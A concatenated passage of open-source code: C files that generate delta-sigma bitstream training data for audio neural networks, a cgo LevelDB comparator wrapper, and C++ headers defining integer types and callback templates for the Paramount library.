integrator3 += integrator2 * c3 - state * c3; out->vec_space[out_vec_id][i] = state = integrator3 < 0.0 ? -1.0 : 1.0; } }
dariosanfilippo/bitstream_ANN_DSP
tests/data_test.c
<filename>tests/data_test.c #include <stdlib.h> #include <stdio.h> #include <math.h> #include <string.h> #include <stdbool.h> #include <assert.h> #include "signals.c" #include "osc.c" #include "dsm.c" #include "bitmath.c" #include "data.c" int main(void) { size_t sr = 192000; size_t in_len = 64; size_t out_len = 1; size_t dim = 64; Sig* in = malloc(sizeof(Sig)); Sig* out = malloc(sizeof(Sig)); sig_alloc(in, dim, in_len, sr); sig_alloc(out, dim, out_len, sr); freq_est_data(in, out); sig_print_space(in); sig_free(in); sig_free(out); in_len = 64; out_len = in_len / 2; in = malloc(sizeof(Sig)); out = malloc(sizeof(Sig)); sig_alloc(in, dim, in_len, sr); sig_alloc(out, dim, out_len, sr); adder_data(in, out); sig_print_space(in); sig_print_space(out); sig_free(in); sig_free(out); return EXIT_SUCCESS; }
dariosanfilippo/bitstream_ANN_DSP
data.c
/******************************************************************************* * * This module contains functions for the generation of training and * test data for frequency and amplitude estimation, and sum and * multiplication operations. * * Copyright (c) <NAME> 2021. * *******************************************************************************/ #include "data.h" void freq_est_data(Sig* in, Sig* out) { assert(in->space_dim == out->space_dim); audio freq; audio amp; audio phase; for (size_t i = 0; i < in->space_dim; i++) { freq = frand() * 20000.0; amp = frand() * .5 + .25; phase = frand() * TWOPI; out->vec_space[i][0] = freq; sine(in->sr, amp, freq, phase, in, i); dsm3(in, in, i, i); } } void amp_est_data(Sig* in, Sig* out) { assert(in->space_dim == out->space_dim); audio freq; audio amp; audio phase; for (size_t i = 0; i < in->space_dim; i++) { freq = frand() * 20000.0; amp = frand() * .5 + .25; phase = frand() * TWOPI; out->vec_space[i][0] = amp; sine(in->sr, amp, freq, phase, in, i); dsm3(in, in, i, i); } } void adder_data(Sig* in, Sig* out) { assert(in->space_dim == out->space_dim); audio freq0; audio freq1; audio amp0; audio amp1; audio phase0; audio phase1; Sig* in0 = malloc(sizeof(Sig)); Sig* in1 = malloc(sizeof(Sig)); sig_alloc(in0, in->space_dim, in->vec_len / 2, in->sr); sig_alloc(in1, in->space_dim, in->vec_len / 2, in->sr); for (size_t i = 0; i < in->space_dim; i++) { freq0 = frand() * 5000.0; freq1 = frand() * 5000.0; amp0 = frand() * .25; amp1 = frand() * .25; phase0 = frand() * TWOPI; phase1 = frand() * TWOPI; sine(in0->sr, amp0, freq0, phase0, in0, i); sine(in1->sr, amp1, freq1, phase1, in1, i); for (size_t j = 0; j < out->vec_len; j++) { out->vec_space[i][j] = in0->vec_space[i][j] + in1->vec_space[i][j]; } dsm3(in0, in0, i, i); dsm3(in1, in1, i, i); dsm3(out, out, i, i); for (size_t j = 0; j < in0->vec_len; j++) { in->vec_space[i][j] = in0->vec_space[i][j]; in->vec_space[i][j + in1->vec_len] = in1->vec_space[i][j]; } } sig_free(in0); sig_free(in1); } void mul_data(Sig* in, Sig* out) { assert(in->space_dim == out->space_dim); audio freq0; audio freq1; audio amp0; audio amp1; audio phase0; audio phase1; Sig* in0 = malloc(sizeof(Sig)); Sig* in1 = malloc(sizeof(Sig)); sig_alloc(in0, in->space_dim, in->vec_len / 2, in->sr); sig_alloc(in1, in->space_dim, in->vec_len / 2, in->sr); for (size_t i = 0; i < in->space_dim; i++) { freq0 = frand() * 5000.0; freq1 = frand() * 5000.0; amp0 = frand() * .5; amp1 = frand() * .5; phase0 = frand() * TWOPI; phase1 = frand() * TWOPI; sine(in0->sr, amp0, freq0, phase0, in0, i); sine(in1->sr, amp1, freq1, phase1, in1, i); for (size_t j = 0; j < out->vec_len; j++) { out->vec_space[i][j] = in0->vec_space[i][j] * in1->vec_space[i][j]; } dsm3(in0, in0, i, i); dsm3(in1, in1, i, i); dsm3(out, out, i, i); for (size_t j = 0; j < in0->vec_len; j++) { in->vec_space[i][j] = in0->vec_space[i][j]; in->vec_space[i][j + in1->vec_len] = in1->vec_space[i][j]; } } sig_free(in0); sig_free(in1); }
dariosanfilippo/bitstream_ANN_DSP
tests/binaryadder_test.c
<reponame>dariosanfilippo/bitstream_ANN_DSP<filename>tests/binaryadder_test.c #include <stdlib.h> #include <stdio.h> #include <math.h> #include <string.h> #include <stdbool.h> #include <assert.h> #include "signals.c" #include "osc.c" #include "dsm.c" #include "bitmath.c" int main(void) { FILE* fptr; fptr = fopen("binaryadder.csv", "w+"); size_t SR = 3072000; size_t len = 65536; audio amp = .25; audio freq0 = 1000.0; audio freq1 = 3000.0; audio phase = .0; Sig* in = malloc(sizeof(Sig)); Sig* out = malloc(sizeof(Sig)); sig_alloc(in, 2, len, SR); sig_alloc(out, 1, len, SR); sine(SR, amp, freq0, phase, in, 0); sine(SR, amp, freq1, phase, in, 1); dsm3(in, in, 0, 0); dsm3(in, in, 1, 1); binaryadder(in, in, out, 0, 1, 0); for (size_t i = 0; i < in->vec_len; i++) { fprintf(fptr, "%f\n", out->vec_space[0][i]); } sig_free(in); sig_free(out); fclose(fptr); return EXIT_SUCCESS; }
GlitterIsMe/gogeardb
gogeardb.c
#include "gogeardb.h" #include "_cgo_export.h" leveldb_comparator_t* go_geardb_create_comparator() { return leveldb_comparator_create( NULL, go_geardb_destructor, (int (*)(void*, const char* a, size_t alen, const char* b, size_t blen))(go_geardb_compare), (const char* (*)(void*))(go_geardb_name)); }
GlitterIsMe/gogeardb
gogeardb.h
#include <stdlib.h> #include "leveldb/c.h" extern leveldb_comparator_t* go_geardb_create_comparator();
Kai-Wolf-SW-Consulting/Paramount
src/base/integral_types.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the top directory. #ifndef PARAMOUNT_INTEGRAL_TYPES_H #define PARAMOUNT_INTEGRAL_TYPES_H #include "base/macros.h" namespace pmt { // Following are basic integer type definitions for various platforms including // Windows, Mac and Linux // signed integer types with width of 8, 16, 32 or 64 bits respectively using int8 = signed char; using int16 = short; using int32 = int; #if defined(OS_WINDOWS) typedef __int64 int64; #else using int64 = long long; #endif // unsigned integer types with with of 8, 16, 32 or 64 bits respectively using uint8 = unsigned char; using uint16 = unsigned short; using uint32 = unsigned int; #if defined(OS_WINDOWS) typedef unsigned __int64 uint64; #else using uint64 = unsigned long long; #endif // long long macros to be used because gcc and vc++ use different suffixes and // different size specifiers in format strings #undef GG_LONGLONG #undef GG_ULONGLONG #undef GG_LL_FORMAT #if defined(OS_WINDOWS) // long long suffixes for MSVC # define GG_LONGLONG(x) x##I64 # define GG_ULONGLONG(x) x##UI64 // length modifier in printf format string for int64's (e.g. within %d) # define GG_LL_FORMAT "I64" # define GG_LL_FORMAT_W L"I64" #else # define GG_LONGLONG(x) x##LL # define GG_ULONGLONG(x) x##ULL # define GG_LL_FORMAT "ll" # define GG_LL_FORMAT_W L"ll" #endif static const uint8 kUINT8max = (static_cast<uint8>(0xFF)); static const uint16 kUINT16max = (static_cast<uint16>(0xFFFF)); static const uint32 kUINT32max = ((uint32) 0xFFFFFFFF); static const uint64 kUINT64max = ((uint64) GG_LONGLONG(0xFFFFFFFFFFFFFFFF)); static const int8 kINT8min = (static_cast<int8>(~0x7F)); static const int8 kINT8max = (static_cast<int8>(0x7F)); static const int16 kINT16min = (static_cast<int16>(~0x7FFF)); static const int16 kINT16max = (static_cast<int16>(0x7FFF)); static const int32 kINT32min = ((int32) ~0x7FFFFFFF); static const int32 kINT32max = ((int32) 0x7FFFFFFF); static const int64 kINT64min = ((int64) GG_LONGLONG(~0x7FFFFFFFFFFFFFFF)); static const int64 kINT64max = ((int64) GG_LONGLONG(0x7FFFFFFFFFFFFFFF)); } // namespace pmt #endif // PARAMOUNT_INTEGRAL_TYPES_H
Kai-Wolf-SW-Consulting/Paramount
src/base/callback_impl.h
// Copyright (c) 2017, <NAME>. All rights reserved. // Use of this source code is governed by a personal license that can be // found in the LICENSE file in the topdirectory. #ifndef PARAMOUNT_CALLBACK_IMPL_H #define PARAMOUNT_CALLBACK_IMPL_H #include "base/callback_types.h" #include <type_traits> namespace pmt { namespace internal { template <typename T> struct ConstRef { typedef typename ::std::remove_reference<T>::type base_type; typedef const base_type& type; }; } template <bool del, typename RetType, typename Class, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_0_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)() const; inline ConstMemberResultCallback_0_0(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(); } else { RetType result = (instance_->*method_)(); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; }; template <bool del, typename Class> class ConstMemberResultCallback_0_0< del, void, Class, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)() const; inline ConstMemberResultCallback_0_0(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(); } else { (instance_->*method_)(); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType> inline typename ConstMemberResultCallback_0_0<true, RetType, Caller>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)() const) { return new ConstMemberResultCallback_0_0<true, RetType, Caller>(instance, method); } template <typename Caller, typename Callee, typename RetType> inline typename ConstMemberResultCallback_0_0<false, RetType, Caller>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)() const) { return new ConstMemberResultCallback_0_0<false, RetType, Caller>(instance, method); } template <bool del, typename RetType, typename Class, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_0_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(); inline MemberResultCallback_0_0(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(); } else { RetType result = (instance_->*method_)(); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; }; template <bool del, typename Class> class MemberResultCallback_0_0< del, void, Class, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(); inline MemberResultCallback_0_0(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(); } else { (instance_->*method_)(); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType> inline typename MemberResultCallback_0_0<true, RetType, Caller>::base* MakeCallback(Caller* instance, RetType (Callee::*method)()) { return new MemberResultCallback_0_0<true, RetType, Caller>(instance, method); } template <typename Caller, typename Callee, typename RetType> inline typename MemberResultCallback_0_0<false, RetType, Caller>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)()) { return new MemberResultCallback_0_0<false, RetType, Caller>(instance, method); } template <bool del, typename RetType> class FunctionResultCallback_0_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (*Function)(); inline FunctionResultCallback_0_0(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (*function_)(); } else { RetType result = (*function_)(); function_ = nullptr; delete this; return result; } } private: Function function_; }; template <bool del> class FunctionResultCallback_0_0<del, void> : public Callback { public: typedef Callback base; typedef void (*Function)(); inline FunctionResultCallback_0_0(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (*function_)(); } else { (*function_)(); function_ = nullptr; delete this; } } private: Function function_; }; template <typename RetType> inline typename FunctionResultCallback_0_0<true, RetType>::base* MakeCallback( RetType (*function)()) { return new FunctionResultCallback_0_0<true, RetType>(function); } template <typename RetType> inline typename FunctionResultCallback_0_0<false, RetType>::base* MakePermanentCallback(RetType (*function)()) { return new FunctionResultCallback_0_0<false, RetType>(function); } template <bool del, typename RetType, typename Class, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_0_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(A1) const; inline ConstMemberResultCallback_0_1(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(a1); } else { RetType result = (instance_->*method_)(a1); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; }; template <bool del, typename Class, typename A1> class ConstMemberResultCallback_0_1< del, void, Class, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(A1) const; inline ConstMemberResultCallback_0_1(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(a1); } else { (instance_->*method_)(a1); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1> inline typename ConstMemberResultCallback_0_1<true, RetType, Caller, A1>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(A1) const) { return new ConstMemberResultCallback_0_1<true, RetType, Caller, A1>( instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1> inline typename ConstMemberResultCallback_0_1<false, RetType, Caller, A1>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(A1) const) { return new ConstMemberResultCallback_0_1<false, RetType, Caller, A1>( instance, method); } template <bool del, typename RetType, typename Class, typename A1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_0_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (Class::*Method)(A1); inline MemberResultCallback_0_1(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (instance_->*method_)(a1); } else { RetType result = (instance_->*method_)(a1); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; }; template <bool del, typename Class, typename A1> class MemberResultCallback_0_1< del, void, Class, A1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (Class::*Method)(A1); inline MemberResultCallback_0_1(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (instance_->*method_)(a1); } else { (instance_->*method_)(a1); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1> inline typename MemberResultCallback_0_1<true, RetType, Caller, A1>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(A1)) { return new MemberResultCallback_0_1<true, RetType, Caller, A1>(instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1> inline typename MemberResultCallback_0_1<false, RetType, Caller, A1>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(A1)) { return new MemberResultCallback_0_1<false, RetType, Caller, A1>(instance, method); } template <bool del, typename RetType, typename A1> class FunctionResultCallback_0_1 : public ResultCallback1<RetType, A1> { public: typedef ResultCallback1<RetType, A1> base; typedef RetType (*Function)(A1); inline FunctionResultCallback_0_1(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1) override { if (!del) { return (*function_)(a1); } else { RetType result = (*function_)(a1); function_ = nullptr; delete this; return result; } } private: Function function_; }; template <bool del, typename A1> class FunctionResultCallback_0_1<del, void, A1> : public Callback1<A1> { public: typedef Callback1<A1> base; typedef void (*Function)(A1); inline FunctionResultCallback_0_1(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } void run(A1 a1) override { if (!del) { (*function_)(a1); } else { (*function_)(a1); function_ = nullptr; delete this; } } private: Function function_; }; template <typename RetType, typename A1> inline typename FunctionResultCallback_0_1<true, RetType, A1>::base* MakeCallback(RetType (*function)(A1)) { return new FunctionResultCallback_0_1<true, RetType, A1>(function); } template <typename RetType, typename A1> inline typename FunctionResultCallback_0_1<false, RetType, A1>::base* MakePermanentCallback(RetType (*function)(A1)) { return new FunctionResultCallback_0_1<false, RetType, A1>(function); } template <bool del, typename RetType, typename Class, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_0_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(A1, A2) const; inline ConstMemberResultCallback_0_2(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(a1, a2); } else { RetType result = (instance_->*method_)(a1, a2); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; }; template <bool del, typename Class, typename A1, typename A2> class ConstMemberResultCallback_0_2< del, void, Class, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(A1, A2) const; inline ConstMemberResultCallback_0_2(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(a1, a2); } else { (instance_->*method_)(a1, a2); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1, typename A2> inline typename ConstMemberResultCallback_0_2<true, RetType, Caller, A1, A2>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(A1, A2) const) { return new ConstMemberResultCallback_0_2<true, RetType, Caller, A1, A2>( instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1, typename A2> inline typename ConstMemberResultCallback_0_2<false, RetType, Caller, A1, A2>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(A1, A2) const) { return new ConstMemberResultCallback_0_2<false, RetType, Caller, A1, A2>( instance, method); } template <bool del, typename RetType, typename Class, typename A1, typename A2, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_0_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (Class::*Method)(A1, A2); inline MemberResultCallback_0_2(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (instance_->*method_)(a1, a2); } else { RetType result = (instance_->*method_)(a1, a2); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; }; template <bool del, typename Class, typename A1, typename A2> class MemberResultCallback_0_2< del, void, Class, A1, A2, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (Class::*Method)(A1, A2); inline MemberResultCallback_0_2(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (instance_->*method_)(a1, a2); } else { (instance_->*method_)(a1, a2); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1, typename A2> inline typename MemberResultCallback_0_2<true, RetType, Caller, A1, A2>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(A1, A2)) { return new MemberResultCallback_0_2<true, RetType, Caller, A1, A2>(instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1, typename A2> inline typename MemberResultCallback_0_2<false, RetType, Caller, A1, A2>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(A1, A2)) { return new MemberResultCallback_0_2<false, RetType, Caller, A1, A2>( instance, method); } template <bool del, typename RetType, typename A1, typename A2> class FunctionResultCallback_0_2 : public ResultCallback2<RetType, A1, A2> { public: typedef ResultCallback2<RetType, A1, A2> base; typedef RetType (*Function)(A1, A2); inline FunctionResultCallback_0_2(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2) override { if (!del) { return (*function_)(a1, a2); } else { RetType result = (*function_)(a1, a2); function_ = nullptr; delete this; return result; } } private: Function function_; }; template <bool del, typename A1, typename A2> class FunctionResultCallback_0_2<del, void, A1, A2> : public Callback2<A1, A2> { public: typedef Callback2<A1, A2> base; typedef void (*Function)(A1, A2); inline FunctionResultCallback_0_2(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2) override { if (!del) { (*function_)(a1, a2); } else { (*function_)(a1, a2); function_ = nullptr; delete this; } } private: Function function_; }; template <typename RetType, typename A1, typename A2> inline typename FunctionResultCallback_0_2<true, RetType, A1, A2>::base* MakeCallback(RetType (*function)(A1, A2)) { return new FunctionResultCallback_0_2<true, RetType, A1, A2>(function); } template <typename RetType, typename A1, typename A2> inline typename FunctionResultCallback_0_2<false, RetType, A1, A2>::base* MakePermanentCallback(RetType (*function)(A1, A2)) { return new FunctionResultCallback_0_2<false, RetType, A1, A2>(function); } template <bool del, typename RetType, typename Class, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_0_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(A1, A2, A3) const; inline ConstMemberResultCallback_0_3(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(a1, a2, a3); } else { RetType result = (instance_->*method_)(a1, a2, a3); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; }; template <bool del, typename Class, typename A1, typename A2, typename A3> class ConstMemberResultCallback_0_3< del, void, Class, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(A1, A2, A3) const; inline ConstMemberResultCallback_0_3(const Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(a1, a2, a3); } else { (instance_->*method_)(a1, a2, a3); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_0_3<true, RetType, Caller, A1, A2, A3>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(A1, A2, A3) const) { return new ConstMemberResultCallback_0_3<true, RetType, Caller, A1, A2, A3>( instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1, typename A2, typename A3> inline typename ConstMemberResultCallback_0_3<false, RetType, Caller, A1, A2, A3>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(A1, A2, A3) const) { return new ConstMemberResultCallback_0_3<false, RetType, Caller, A1, A2, A3>(instance, method); } template <bool del, typename RetType, typename Class, typename A1, typename A2, typename A3, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_0_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (Class::*Method)(A1, A2, A3); inline MemberResultCallback_0_3(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (instance_->*method_)(a1, a2, a3); } else { RetType result = (instance_->*method_)(a1, a2, a3); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; }; template <bool del, typename Class, typename A1, typename A2, typename A3> class MemberResultCallback_0_3< del, void, Class, A1, A2, A3, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (Class::*Method)(A1, A2, A3); inline MemberResultCallback_0_3(Class* instance, Method method) : instance_(instance), method_(method) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (instance_->*method_)(a1, a2, a3); } else { (instance_->*method_)(a1, a2, a3); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; }; template <typename Caller, typename Callee, typename RetType, typename A1, typename A2, typename A3> inline typename MemberResultCallback_0_3<true, RetType, Caller, A1, A2, A3>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(A1, A2, A3)) { return new MemberResultCallback_0_3<true, RetType, Caller, A1, A2, A3>( instance, method); } template <typename Caller, typename Callee, typename RetType, typename A1, typename A2, typename A3> inline typename MemberResultCallback_0_3<false, RetType, Caller, A1, A2, A3>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(A1, A2, A3)) { return new MemberResultCallback_0_3<false, RetType, Caller, A1, A2, A3>( instance, method); } template <bool del, typename RetType, typename A1, typename A2, typename A3> class FunctionResultCallback_0_3 : public ResultCallback3<RetType, A1, A2, A3> { public: typedef ResultCallback3<RetType, A1, A2, A3> base; typedef RetType (*Function)(A1, A2, A3); inline FunctionResultCallback_0_3(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } RetType run(A1 a1, A2 a2, A3 a3) override { if (!del) { return (*function_)(a1, a2, a3); } else { RetType result = (*function_)(a1, a2, a3); function_ = nullptr; delete this; return result; } } private: Function function_; }; template <bool del, typename A1, typename A2, typename A3> class FunctionResultCallback_0_3<del, void, A1, A2, A3> : public Callback3<A1, A2, A3> { public: typedef Callback3<A1, A2, A3> base; typedef void (*Function)(A1, A2, A3); inline FunctionResultCallback_0_3(Function function) : function_(function) {} bool isRepeatable() const override { return !del; } void run(A1 a1, A2 a2, A3 a3) override { if (!del) { (*function_)(a1, a2, a3); } else { (*function_)(a1, a2, a3); function_ = nullptr; delete this; } } private: Function function_; }; template <typename RetType, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_0_3<true, RetType, A1, A2, A3>::base* MakeCallback(RetType (*function)(A1, A2, A3)) { return new FunctionResultCallback_0_3<true, RetType, A1, A2, A3>(function); } template <typename RetType, typename A1, typename A2, typename A3> inline typename FunctionResultCallback_0_3<false, RetType, A1, A2, A3>::base* MakePermanentCallback(RetType (*function)(A1, A2, A3)) { return new FunctionResultCallback_0_3<false, RetType, A1, A2, A3>(function); } template <bool del, typename RetType, typename Class, typename P1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class ConstMemberResultCallback_1_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1) const; inline ConstMemberResultCallback_1_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_); } else { RetType result = (instance_->*method_)(p1_); method_ = nullptr; delete this; return result; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1> class ConstMemberResultCallback_1_0< del, void, Class, P1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1) const; inline ConstMemberResultCallback_1_0( const Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_); } else { (instance_->*method_)(p1_); method_ = nullptr; delete this; } } private: const Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1> inline typename ConstMemberResultCallback_1_0<true, RetType, Caller, P1>::base* MakeCallback(const Caller* instance, RetType (Callee::*method)(P1) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_0<true, RetType, Caller, P1>( instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1> inline typename ConstMemberResultCallback_1_0<false, RetType, Caller, P1>::base* MakePermanentCallback(const Caller* instance, RetType (Callee::*method)(P1) const, typename internal::ConstRef<P1>::type p1) { return new ConstMemberResultCallback_1_0<false, RetType, Caller, P1>( instance, method, p1); } template <bool del, typename RetType, typename Class, typename P1, typename OnlyIf = typename ::std::enable_if<::std::is_compound<Class>::value>::type> class MemberResultCallback_1_0 : public ResultCallback<RetType> { public: typedef ResultCallback<RetType> base; typedef RetType (Class::*Method)(P1); inline MemberResultCallback_1_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } RetType run() override { if (!del) { return (instance_->*method_)(p1_); } else { RetType result = (instance_->*method_)(p1_); method_ = nullptr; delete this; return result; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <bool del, typename Class, typename P1> class MemberResultCallback_1_0< del, void, Class, P1, typename ::std::enable_if<::std::is_compound<Class>::value>::type> : public Callback { public: typedef Callback base; typedef void (Class::*Method)(P1); inline MemberResultCallback_1_0(Class* instance, Method method, typename internal::ConstRef<P1>::type p1) : instance_(instance), method_(method), p1_(p1) {} bool isRepeatable() const override { return !del; } void run() override { if (!del) { (instance_->*method_)(p1_); } else { (instance_->*method_)(p1_); method_ = nullptr; delete this; } } private: Class* instance_; Method method_; typename ::std::remove_reference<P1>::type p1_; }; template <typename Caller, typename Callee, typename RetType, typename P1> inline typename MemberResultCallback_1_0<true, RetType, Caller, P1>::base* MakeCallback(Caller* instance, RetType (Callee::*method)(P1), typename internal::ConstRef<P1>::type p1) { return new MemberResultCallback_1_0<true, RetType, Caller, P1>(instance, method, p1); } template <typename Caller, typename Callee, typename RetType, typename P1> inline typename MemberResultCallback_1_0<false, RetType, Caller, P1>::base* MakePermanentCallback(Caller* instance, RetType (Callee::*method)(P1), typename internal::ConstRef<P1>::type p1) { return new 